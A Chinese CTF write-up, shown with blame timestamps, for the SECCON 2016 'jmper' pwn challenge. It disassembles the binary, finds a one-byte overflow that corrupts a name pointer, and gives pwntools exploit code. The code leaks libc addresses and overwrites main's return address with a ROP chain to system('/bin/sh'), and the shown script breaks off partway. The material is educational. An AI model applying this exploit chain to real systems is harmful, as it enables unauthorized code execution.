CTF-All-In-One/doc/6.1.17_pwn_secconctf2016_jmper.md

659 lines
31 KiB
Markdown
Raw Normal View History

2018-04-19 13:37:37 +07:00
# 6.1.17 pwn SECCONCTF2016 jmper
- [题目复现](#题目复现)
- [题目解析](#题目解析)
2018-05-01 20:57:53 +07:00
- [漏洞利用](#漏洞利用)
2018-04-19 13:37:37 +07:00
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.17_pwn_secconctf2016_jmper)
## 题目复现
2018-08-05 16:43:10 +07:00
```text
$ file jmper
2018-04-19 13:37:37 +07:00
jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
$ checksec -f jmper
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 jmper
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.4.
```
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出not stripped、No PIE 都是好消息。默认开启 ASLR。
在 Ubuntu-14.04 上玩一下:
2018-08-05 16:43:10 +07:00
```text
$ LD_PRELOAD=./libc-2.19.so ./jmper
2018-04-23 00:06:25 +07:00
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
1
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
2
ID:0
Input name:AAAA
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
3
ID:0
Input memo:BBBB
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
4
ID:0
AAAA1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
5
ID:0
BBBB1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
6
```
2018-04-19 13:37:37 +07:00
2018-08-05 16:43:10 +07:00
似乎是新建的 student 会对应一个 id根据 id 可以查看或修改对应的 name 和 memo。
2018-04-19 13:37:37 +07:00
## 题目解析
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
程序主要由两部分组成,一个是 `main()` 函数,另一个是实现了所有功能的 `f()` 函数。
2018-08-05 16:43:10 +07:00
### main
```text
2018-04-23 00:06:25 +07:00
[0x00400730]> pdf @ main
/ (fcn) main 170
| main ();
| ; var int local_4h @ rbp-0x4
| ; DATA XREF from 0x0040074d (entry0)
| 0x00400ba8 push rbp
| 0x00400ba9 mov rbp, rsp
| 0x00400bac sub rsp, 0x10
| 0x00400bb0 mov rax, qword [obj.stdin] ; [0x602018:8]=0
| 0x00400bb7 mov ecx, 0
| 0x00400bbc mov edx, 2
| 0x00400bc1 mov esi, 0
| 0x00400bc6 mov rdi, rax
| 0x00400bc9 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x00400bce mov rax, qword [sym.stdout] ; loc.stdout ; [0x602010:8]=0
| 0x00400bd5 mov ecx, 0
| 0x00400bda mov edx, 2
| 0x00400bdf mov esi, 0
| 0x00400be4 mov rdi, rax
| 0x00400be7 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x00400bec mov edi, str.Welcome_to_my_class. ; 0x400d88 ; "Welcome to my class."
| 0x00400bf1 call sym.imp.puts ; int puts(const char *s)
| 0x00400bf6 mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)"
| 0x00400bfb call sym.imp.puts ; int puts(const char *s)
| 0x00400c00 mov edi, 0xf0 ; 240
| 0x00400c05 call sym.imp.malloc ; my_class = malloc(0xf0) 分配 my_class 数组
| 0x00400c0a mov qword [obj.my_class], rax ; [0x602030:8]=0
| 0x00400c11 mov edi, 0xc8 ; 200
| 0x00400c16 call sym.imp.malloc ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体
| 0x00400c1b mov qword [obj.jmpbuf], rax ; [0x602038:8]=0
| 0x00400c22 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0
| 0x00400c29 mov rdi, rax
| 0x00400c2c call sym.imp._setjmp ; setjmp(jmpbuf) 保存上下文到 jmpbuf
| 0x00400c31 mov dword [local_4h], eax
| 0x00400c34 cmp dword [local_4h], 0 ; 将 setjmp 返回值与 0 比较
| ,=< 0x00400c38 jne 0x400c41 ; 不等于时跳转
| | 0x00400c3a call sym.f ; 否则调用函数 f(),进入主要程序逻辑
| ,==< 0x00400c3f jmp 0x400c4b
| || ; JMP XREF from 0x00400c38 (main)
| |`-> 0x00400c41 mov edi, str.Nice_jump__Bye_: ; 0x400dbf ; "Nice jump! Bye :)"
| | 0x00400c46 call sym.imp.puts ; int puts(const char *s)
| | ; JMP XREF from 0x00400c3f (main)
| `--> 0x00400c4b mov eax, 0
| 0x00400c50 leave
\ 0x00400c51 ret
[0x00400730]> is ~my_class
055 0x00002030 0x00602030 GLOBAL OBJECT 8 my_class
[0x00400730]> is ~jmpbuf
065 0x00002038 0x00602038 GLOBAL OBJECT 8 jmpbuf
[0x00400730]> iS ~bss
24 0x00002010 0 0x00602010 48 --rw- .bss
```
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 `my_class``0x00602030`)。另一块用于存放一个 `jmp_buf` 结构体,这个结构体中保存当前上下文,结构体的地址放在 `jmpbuf``0x00602038`)。并且这两个符号都在 `.bss` 段中。
这里就涉及到 `setjmp()``longjmp()` 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下:
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
```c
#include <setjmp.h>
int setjmp(jmp_buf env);
void longjmp(jmp_buf env, int val);
```
2018-08-05 16:43:10 +07:00
2018-07-13 23:31:51 +07:00
- `setjmp()`:将函数在此处的上下文保存到 `jmp_buf` 结构体,以供 longjmp 从此结构体中恢复上下文
2018-04-23 00:06:25 +07:00
- `env`:保存上下文的 `jmp_buf` 结构体变量
- 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。
- `longjmp()`:从 `jmp_buf` 结构体中恢复由 setjmp 函数保存的上下文,该函数不返回,而是从 setjmp 函数中返回
- `env`:由 setjmp 函数保存的上下文
- `val`:传递给 setjmp 函数的返回值,如果 `val` 值为 0setjmp 将会返回 1否则返回 `val`
`longjmp()` 执行完之后,程序就回到了 `setjmp()` 的下一条语句继续执行。
2018-08-05 16:43:10 +07:00
### f
2018-04-23 00:06:25 +07:00
接下来我们看一下各功能的实现(程序设计真的要吐槽一下):
2018-08-05 16:43:10 +07:00
```text
2018-04-23 00:06:25 +07:00
[0x00400730]> pdf @ sym.f
/ (fcn) sym.f 907
| sym.f ();
| ; var int local_1dh @ rbp-0x1d
| ; var int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_14h @ rbp-0x14
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x00400c3a (main)
| 0x0040081d push rbp
| 0x0040081e mov rbp, rsp
| 0x00400821 sub rsp, 0x20
| 0x00400825 mov dword [obj.student_num], 0 ; [0x602028:4]=0
| ; JMP XREF from 0x00400ba3 (sym.f)
| .-> 0x0040082f mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始
| : 0x00400834 call sym.imp.puts ; int puts(const char *s)
| : 0x00400839 lea rax, [local_18h]
| : 0x0040083d mov rsi, rax
| : 0x00400840 mov edi, 0x400d3c
| : 0x00400845 mov eax, 0
| : 0x0040084a call sym.imp.__isoc99_scanf ; 读入选项到 [local_18h]
| : 0x0040084f call sym.imp.getchar ; int getchar(void)
| : 0x00400854 mov eax, dword [local_18h]
| : 0x00400857 cmp eax, 1 ; 1
| ,==< 0x0040085a jne 0x4008e8
| |: 0x00400860 mov eax, dword [obj.student_num] ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数
| |: 0x00400866 cmp eax, 0x1d ; 29 ; 与最大值比较
| ,===< 0x00400869 jle 0x400889 ; 小于等于 30 时跳转
| ||: 0x0040086b mov edi, str.Exception_has_occurred._Jump ; 0x400d3f ; 否则调用 longjmp 返回到 main
| ||: 0x00400870 call sym.imp.puts ; int puts(const char *s)
| ||: 0x00400875 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 ; 取出 jmpbuf 结构体
| ||: 0x0040087c mov esi, 0x1bf52 ; setjmp 返回值为 0x1bf52
| ||: 0x00400881 mov rdi, rax
| ||: 0x00400884 call sym.imp.longjmp ; longjmp(jmpbuf, 0x1bf52)
| ||: ; JMP XREF from 0x00400869 (sym.f)
| `---> 0x00400889 mov edi, 0x30 ; '0' ; 48
| |: 0x0040088e call sym.imp.malloc ; malloc(0x30) ; 分配一个 student 结构
| |: 0x00400893 mov qword [local_8h], rax ; 将 student 地址放到 [local_8h]
| |: 0x00400897 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| |: 0x0040089d movsxd rdx, eax
| |: 0x004008a0 mov rax, qword [local_8h]
| |: 0x004008a4 mov qword [rax], rdx ; 将 student_num 作为该 student->id
| |: 0x004008a7 mov edi, 0x20 ; 32
| |: 0x004008ac call sym.imp.malloc ; malloc(0x20) ; 分配一块空间作为 name
| |: 0x004008b1 mov rdx, rax
| |: 0x004008b4 mov rax, qword [local_8h]
| |: 0x004008b8 mov qword [rax + 0x28], rdx ; 将 name 的地址放到 student->name
| |: 0x004008bc mov rax, qword [obj.my_class] ; [0x602030:8]=0
| |: 0x004008c3 mov edx, dword [obj.student_num] ; [0x602028:4]=0
| |: 0x004008c9 movsxd rdx, edx
| |: 0x004008cc mov rcx, qword [local_8h]
| |: 0x004008d0 mov qword [rax + rdx*8], ; 将新分配的 student 地址放到 my_class[id]
| |: 0x004008d4 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| |: 0x004008da add eax, 1 ; student_num + 1
| |: 0x004008dd mov dword [obj.student_num], eax ; [0x602028:4]=0 ; 写回 student_num
| ,===< 0x004008e3 jmp 0x400ba3 ; 回到菜单
| ||: ; JMP XREF from 0x0040085a (sym.f)
| |`--> 0x004008e8 mov eax, dword [local_18h]
| | : 0x004008eb cmp eax, 2 ; 2
| |,==< 0x004008ee jne 0x4009b3
| ||: 0x004008f4 mov esi, 0x400d5d ; 选项 2
| ||: 0x004008f9 mov edi, 0x400d61
| ||: 0x004008fe mov eax, 0
| ||: 0x00400903 call sym.imp.printf ; int printf(const char *format)
| ||: 0x00400908 lea rax, [local_1ch]
| ||: 0x0040090c mov rsi, rax
| ||: 0x0040090f mov edi, 0x400d3c
| ||: 0x00400914 mov eax, 0
| ||: 0x00400919 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| ||: 0x0040091e call sym.imp.getchar ; int getchar(void)
| ||: 0x00400923 mov edx, dword [local_1ch]
| ||: 0x00400926 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| ||: 0x0040092c cmp edx, eax ; 判断 id 是否有效
| ,====< 0x0040092e jge 0x400937 ; 无效时跳转
| |||: 0x00400930 mov eax, dword [local_1ch]
| |||: 0x00400933 test eax, eax ; 根据 id 设置符号位
| ,=====< 0x00400935 jns 0x40094b ; 符号位为 0 时跳转 id 大于等于 0
| ||||: ; JMP XREF from 0x0040092e (sym.f)
| |`----> 0x00400937 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| | ||: 0x0040093c call sym.imp.puts ; int puts(const char *s)
| | ||: 0x00400941 mov edi, 1
| | ||: 0x00400946 call sym.imp.exit ; void exit(int status)
| | ||: ; JMP XREF from 0x00400935 (sym.f)
| `-----> 0x0040094b mov esi, str.Input_name: ; 0x400d70 ; "Input name:"
| ||: 0x00400950 mov edi, 0x400d61
| ||: 0x00400955 mov eax, 0
| ||: 0x0040095a call sym.imp.printf ; int printf(const char *format)
| ||: 0x0040095f mov rax, qword [obj.my_class] ; [0x602030:8]=0
| ||: 0x00400966 mov edx, dword [local_1ch]
| ||: 0x00400969 movsxd rdx, edx
| ||: 0x0040096c mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| ||: 0x00400970 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
| ||: 0x00400974 mov qword [local_10h], rax ; 放到 [local_10h]
| ||: 0x00400978 mov dword [local_14h], 0 ; 循环计数 i 初始化为 0
| ,====< 0x0040097f jmp 0x4009a8 ; 进入循环
| |||: ; JMP XREF from 0x004009ac (sym.f)
| .-----> 0x00400981 call sym.imp.getchar ; int getchar(void)
| :|||: 0x00400986 mov byte [local_1dh], al ; 读入一个字节到 [local_1dh]
| :|||: 0x00400989 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
| ,======< 0x0040098d jne 0x400995 ; 非换行符时跳转
| |:|||: 0x0040098f nop
| ,=======< 0x00400990 jmp 0x400ba3 ; 否则回到菜单
| ||:|||: ; JMP XREF from 0x0040098d (sym.f)
| |`------> 0x00400995 mov rax, qword [local_10h]
| | :|||: 0x00400999 movzx edx, byte [local_1dh]
| | :|||: 0x0040099d mov byte [rax], dl ; 写入该字节写入 name
| | :|||: 0x0040099f add qword [local_10h], 1 ; name = name + 1
| | :|||: 0x004009a4 add dword [local_14h], 1 ; i = i + 1
| | :|||: ; JMP XREF from 0x0040097f (sym.f)
| | :`----> 0x004009a8 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
| | `=====< 0x004009ac jle 0x400981 ; 当小于等于 32 字节时继续循环即读入 33 字节存在溢出
| | ,====< 0x004009ae jmp 0x400ba3 ; 否则回到菜单
| | |||: ; JMP XREF from 0x004008ee (sym.f)
| | ||`--> 0x004009b3 mov eax, dword [local_18h]
| | || : 0x004009b6 cmp eax, 3 ; 3
| | ||,==< 0x004009b9 jne 0x400a7e
| | |||: 0x004009bf mov esi, 0x400d5d ; 选项 3
| | |||: 0x004009c4 mov edi, 0x400d61
| | |||: 0x004009c9 mov eax, 0
| | |||: 0x004009ce call sym.imp.printf ; int printf(const char *format)
| | |||: 0x004009d3 lea rax, [local_1ch]
| | |||: 0x004009d7 mov rsi, rax
| | |||: 0x004009da mov edi, 0x400d3c
| | |||: 0x004009df mov eax, 0
| | |||: 0x004009e4 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| | |||: 0x004009e9 call sym.imp.getchar ; int getchar(void)
| | |||: 0x004009ee mov edx, dword [local_1ch]
| | |||: 0x004009f1 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| | |||: 0x004009f7 cmp edx, eax ; 判断 id 是否有效
| | ,=====< 0x004009f9 jge 0x400a02 ; 无效时跳转
| | ||||: 0x004009fb mov eax, dword [local_1ch]
| | ||||: 0x004009fe test eax, eax ; 根据 id 设置符号位
| |,======< 0x00400a00 jns 0x400a16 ; 符号位为 0 时跳转 id 大于等于 0
| ||||||: ; JMP XREF from 0x004009f9 (sym.f)
| ||`-----> 0x00400a02 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| || |||: 0x00400a07 call sym.imp.puts ; int puts(const char *s)
| || |||: 0x00400a0c mov edi, 1
| || |||: 0x00400a11 call sym.imp.exit ; void exit(int status)
| || |||: ; JMP XREF from 0x00400a00 (sym.f)
| |`------> 0x00400a16 mov esi, str.Input_memo: ; 0x400d7c ; "Input memo:"
| | |||: 0x00400a1b mov edi, 0x400d61
| | |||: 0x00400a20 mov eax, 0
| | |||: 0x00400a25 call sym.imp.printf ; int printf(const char *format)
| | |||: 0x00400a2a mov rax, qword [obj.my_class] ; [0x602030:8]=0
| | |||: 0x00400a31 mov edx, dword [local_1ch]
| | |||: 0x00400a34 movsxd rdx, edx
| | |||: 0x00400a37 mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| | |||: 0x00400a3b add rax, 8 ; 取出 my_class[id]->memo
| | |||: 0x00400a3f mov qword [local_10h], rax ; 放到 [local_10h]
| | |||: 0x00400a43 mov dword [local_14h], 0 ; 循环计数 i初始化为 0
| | ,=====< 0x00400a4a jmp 0x400a73 ; 进入循环
| | ||||: ; JMP XREF from 0x00400a77 (sym.f)
| |.------> 0x00400a4c call sym.imp.getchar ; int getchar(void)
| |:||||: 0x00400a51 mov byte [local_1dh], al
| |:||||: 0x00400a54 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
| ========< 0x00400a58 jne 0x400a60
| |:||||: 0x00400a5a nop
| ========< 0x00400a5b jmp 0x400ba3
| |:||||: ; JMP XREF from 0x00400a58 (sym.f)
| --------> 0x00400a60 mov rax, qword [local_10h]
| |:||||: 0x00400a64 movzx edx, byte [local_1dh]
| |:||||: 0x00400a68 mov byte [rax], dl
| |:||||: 0x00400a6a add qword [local_10h], 1
| |:||||: 0x00400a6f add dword [local_14h], 1
| |:||||: ; JMP XREF from 0x00400a4a (sym.f)
| |:`-----> 0x00400a73 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
| |`======< 0x00400a77 jle 0x400a4c ; 当小于等于 32 字节时继续循环即读入 33 字节存在溢出
| | ,=====< 0x00400a79 jmp 0x400ba3 ; 否则回到菜单
| | ||||: ; JMP XREF from 0x004009b9 (sym.f)
| | |||`--> 0x00400a7e mov eax, dword [local_18h]
| | ||| : 0x00400a81 cmp eax, 4 ; 4
| | |||,==< 0x00400a84 jne 0x400b0d
| | ||||: 0x00400a8a mov esi, 0x400d5d ; 选项 4
| | ||||: 0x00400a8f mov edi, 0x400d61
| | ||||: 0x00400a94 mov eax, 0
| | ||||: 0x00400a99 call sym.imp.printf ; int printf(const char *format)
| | ||||: 0x00400a9e lea rax, [local_1ch]
| | ||||: 0x00400aa2 mov rsi, rax
| | ||||: 0x00400aa5 mov edi, 0x400d3c
| | ||||: 0x00400aaa mov eax, 0
| | ||||: 0x00400aaf call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| | ||||: 0x00400ab4 call sym.imp.getchar ; int getchar(void)
| | ||||: 0x00400ab9 mov edx, dword [local_1ch]
| | ||||: 0x00400abc mov eax, dword [obj.student_num] ; [0x602028:4]=0
| | ||||: 0x00400ac2 cmp edx, eax ; 判断 id 是否有效
| |,======< 0x00400ac4 jge 0x400acd ; 无效时跳转
| ||||||: 0x00400ac6 mov eax, dword [local_1ch]
| ||||||: 0x00400ac9 test eax, eax ; 根据 id 设置符号位
| ========< 0x00400acb jns 0x400ae1 ; 符号位为 0 时跳转 id 大于等于 0
| ||||||: ; JMP XREF from 0x00400ac4 (sym.f)
| |`------> 0x00400acd mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| | ||||: 0x00400ad2 call sym.imp.puts ; int puts(const char *s)
| | ||||: 0x00400ad7 mov edi, 1
| | ||||: 0x00400adc call sym.imp.exit ; void exit(int status)
| | ||||: ; JMP XREF from 0x00400acb (sym.f)
| --------> 0x00400ae1 mov rax, qword [obj.my_class] ; [0x602030:8]=0
| | ||||: 0x00400ae8 mov edx, dword [local_1ch]
| | ||||: 0x00400aeb movsxd rdx, edx
| | ||||: 0x00400aee mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| | ||||: 0x00400af2 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
| | ||||: 0x00400af6 mov rsi, rax
| | ||||: 0x00400af9 mov edi, 0x400d61
| | ||||: 0x00400afe mov eax, 0
| | ||||: 0x00400b03 call sym.imp.printf ; 打印出 my_class[id]->name
| |,======< 0x00400b08 jmp 0x400ba3 ; 回到菜单
| ||||||: ; JMP XREF from 0x00400a84 (sym.f)
| |||||`--> 0x00400b0d mov eax, dword [local_18h]
| ||||| : 0x00400b10 cmp eax, 5 ; 5
| |||||,==< 0x00400b13 jne 0x400b99
| ||||||: 0x00400b19 mov esi, 0x400d5d ; 选项 5
| ||||||: 0x00400b1e mov edi, 0x400d61
| ||||||: 0x00400b23 mov eax, 0
| ||||||: 0x00400b28 call sym.imp.printf ; int printf(const char *format)
| ||||||: 0x00400b2d lea rax, [local_1ch]
| ||||||: 0x00400b31 mov rsi, rax
| ||||||: 0x00400b34 mov edi, 0x400d3c
| ||||||: 0x00400b39 mov eax, 0
| ||||||: 0x00400b3e call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| ||||||: 0x00400b43 call sym.imp.getchar ; int getchar(void)
| ||||||: 0x00400b48 mov edx, dword [local_1ch]
| ||||||: 0x00400b4b mov eax, dword [obj.student_num] ; [0x602028:4]=0
| ||||||: 0x00400b51 cmp edx, eax ; 判断 id 是否有效
| ========< 0x00400b53 jge 0x400b5c ; 无效时跳转
| ||||||: 0x00400b55 mov eax, dword [local_1ch]
| ||||||: 0x00400b58 test eax, eax ; 根据 id 设置符号位
| ========< 0x00400b5a jns 0x400b70 ; 符号位为 0 时跳转 id 大于等于 0
| ||||||: ; JMP XREF from 0x00400b53 (sym.f)
| --------> 0x00400b5c mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| ||||||: 0x00400b61 call sym.imp.puts ; int puts(const char *s)
| ||||||: 0x00400b66 mov edi, 1
| ||||||: 0x00400b6b call sym.imp.exit ; void exit(int status)
| ||||||: ; JMP XREF from 0x00400b5a (sym.f)
| --------> 0x00400b70 mov rax, qword [obj.my_class] ; [0x602030:8]=0
| ||||||: 0x00400b77 mov edx, dword [local_1ch]
| ||||||: 0x00400b7a movsxd rdx, edx
| ||||||: 0x00400b7d mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| ||||||: 0x00400b81 add rax, 8 ; 取出 my_class[id]->memo
| ||||||: 0x00400b85 mov rsi, rax
| ||||||: 0x00400b88 mov edi, 0x400d61
| ||||||: 0x00400b8d mov eax, 0
| ||||||: 0x00400b92 call sym.imp.printf ; 打印出 my_class[id]->memo
| ========< 0x00400b97 jmp 0x400ba3 ; 回到菜单
| ||||||: ; JMP XREF from 0x00400b13 (sym.f)
| |||||`--> 0x00400b99 mov edi, 0
| ||||| : 0x00400b9e call sym.imp.exit ; void exit(int status)
| ||||| | ; XREFS: JMP 0x00400b97 JMP 0x00400b08 JMP 0x00400a79 JMP 0x00400a5b JMP 0x004009ae JMP 0x00400990 JMP 0x004008e3
\ `````-`=< 0x00400ba3 jmp 0x40082f ; 循环继续
[0x00400730]> is ~student_num
048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num
```
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 `exit()`,另一个是 `longjmp()` 跳回 main 函数,既然这么设置那当然是有用意的。
通过分析,可以得到 student 结构体和数组 my_class
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
```c
struct student {
uint8_t id;
char memo[0x20];
char *name;
} student;
2018-04-23 17:03:55 +07:00
struct student *my_class[0x1e];
2018-04-23 00:06:25 +07:00
```
漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。
2018-05-01 20:57:53 +07:00
## 漏洞利用
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
所以我们的思路是通过 one-byte overflow使 my_class[0]->name 指向 my_class[1]->name从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP调用 system('/bin/sh') 获得 shell。
2018-08-05 16:43:10 +07:00
### overflow
2018-04-23 00:06:25 +07:00
```python
def overflow():
add() # idx 0
add() # idx 1
write_memo(0, 'A'*0x20 + '\x78')
```
首先添加两个 student
2018-08-05 16:43:10 +07:00
```text
gdb-peda$ p student_num
2018-04-23 00:06:25 +07:00
$1 = 0x2
2018-08-05 16:43:10 +07:00
gdb-peda$ x/2gx my_class
2018-04-23 00:06:25 +07:00
0x603010: 0x00000000006031e0 0x0000000000603250
gdb-peda$ x/30gx *my_class-0x10
0x6031d0: 0x0000000000000000 0x0000000000000041 <-- student chunk 0
0x6031e0: 0x0000000000000000 0x0000000000000000 <-- my_class[0]->name <-- my_class[0]->memo
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000603220 <-- my_class[0]->name
0x603210: 0x0000000000000000 0x0000000000000031 <-- name chunk 0
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000041 <-- student chunk 1
0x603250: 0x0000000000000001 0x0000000000000000 <-- my_class[1]->name <-- my_class[1]->memo
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
0x603280: 0x0000000000000000 0x0000000000000031 <-- name chunk 1
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk
```
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name使其指向 my_class[1]->name
2018-08-05 16:43:10 +07:00
```text
2018-04-23 00:06:25 +07:00
gdb-peda$ x/30gx *my_class-0x10
0x6031d0: 0x0000000000000000 0x0000000000000041
0x6031e0: 0x0000000000000000 0x4141414141414141
0x6031f0: 0x4141414141414141 0x4141414141414141
0x603200: 0x4141414141414141 0x0000000000603278 <-- my_class[0]->name
0x603210: 0x0000000000000000 0x0000000000000031
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000041
0x603250: 0x0000000000000001 0x0000000000000000
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
0x603280: 0x0000000000000000 0x0000000000000031
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
```
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
通过 overflow我们控制了 my_class[1]->name可以对任意地址除了GOT表读或写。
2018-08-05 16:43:10 +07:00
### leak
2018-04-23 00:06:25 +07:00
然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息:
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
```python
def leak():
global system_addr
global main_ret_addr
write_name(0, p64(elf.got['puts']))
show_name(1)
puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
environ_addr = libc_base + libc.symbols['environ']
write_name(0, p64(environ_addr))
show_name(1)
stack_addr = u64(io.recvline()[:6] + '\x00'*2)
main_ret_addr = stack_addr - 0xf0
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
log.info("main return address: 0x%x" % main_ret_addr)
```
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
于是我们就得到了 system 函数的地址和 main 函数的返回地址。
这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。
2018-08-05 16:43:10 +07:00
```text
2018-04-23 00:06:25 +07:00
[*] libc base: 0x7ffff7a15000
[*] system address: 0x7ffff7a5b590
[*] main return address: 0x7fffffffed78
```
2018-08-05 16:43:10 +07:00
### overwrite
2018-04-23 00:06:25 +07:00
```python
def overwrite():
write_name(0, p64(0x602028)) # student_num
write_name(1, '/bin/sh\x00')
write_name(0, p64(main_ret_addr))
write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
```
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
接下来我们将 student_num 改为 '/bin/sh',这样一方面为 system 提供了参数,另一方面可以触发 longjmp。
2018-08-05 16:43:10 +07:00
```text
2018-04-23 00:06:25 +07:00
gdb-peda$ x/s 0x602028
0x602028 <student_num>: "/bin/sh"
gdb-peda$ x/3gx 0x7fffffffed78
0x7fffffffed78: 0x0000000000400cc3 0x0000000000602028
0x7fffffffed88: 0x00007ffff7a5b590
```
2018-08-05 16:43:10 +07:00
### pwn
2018-04-23 00:06:25 +07:00
```python
def pwn():
add() # call longjmp to back to main
io.interactive()
```
Bingo!!!
2018-08-05 16:43:10 +07:00
```text
$ python exp.py
2018-04-23 00:06:25 +07:00
[+] Starting local process './jmper': pid 3935
[*] Switching to interactive mode
Exception has occurred. Jump!
Nice jump! Bye :)
$ whoami
firmy
```
2018-08-05 16:43:10 +07:00
### exploit
2018-04-23 00:06:25 +07:00
完整的 exp 如下:
2018-08-05 16:43:10 +07:00
2018-04-23 00:06:25 +07:00
```python
#!/usr/bin/env python
from pwn import *
2018-04-23 17:03:55 +07:00
# context.log_level = 'debug'
2018-04-23 00:06:25 +07:00
io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('jmper')
libc = ELF('libc-2.19.so')
pop_rdi_ret = 0x400cc3
def add():
io.sendlineafter("Bye :)\n", '1')
def write_name(idx, content):
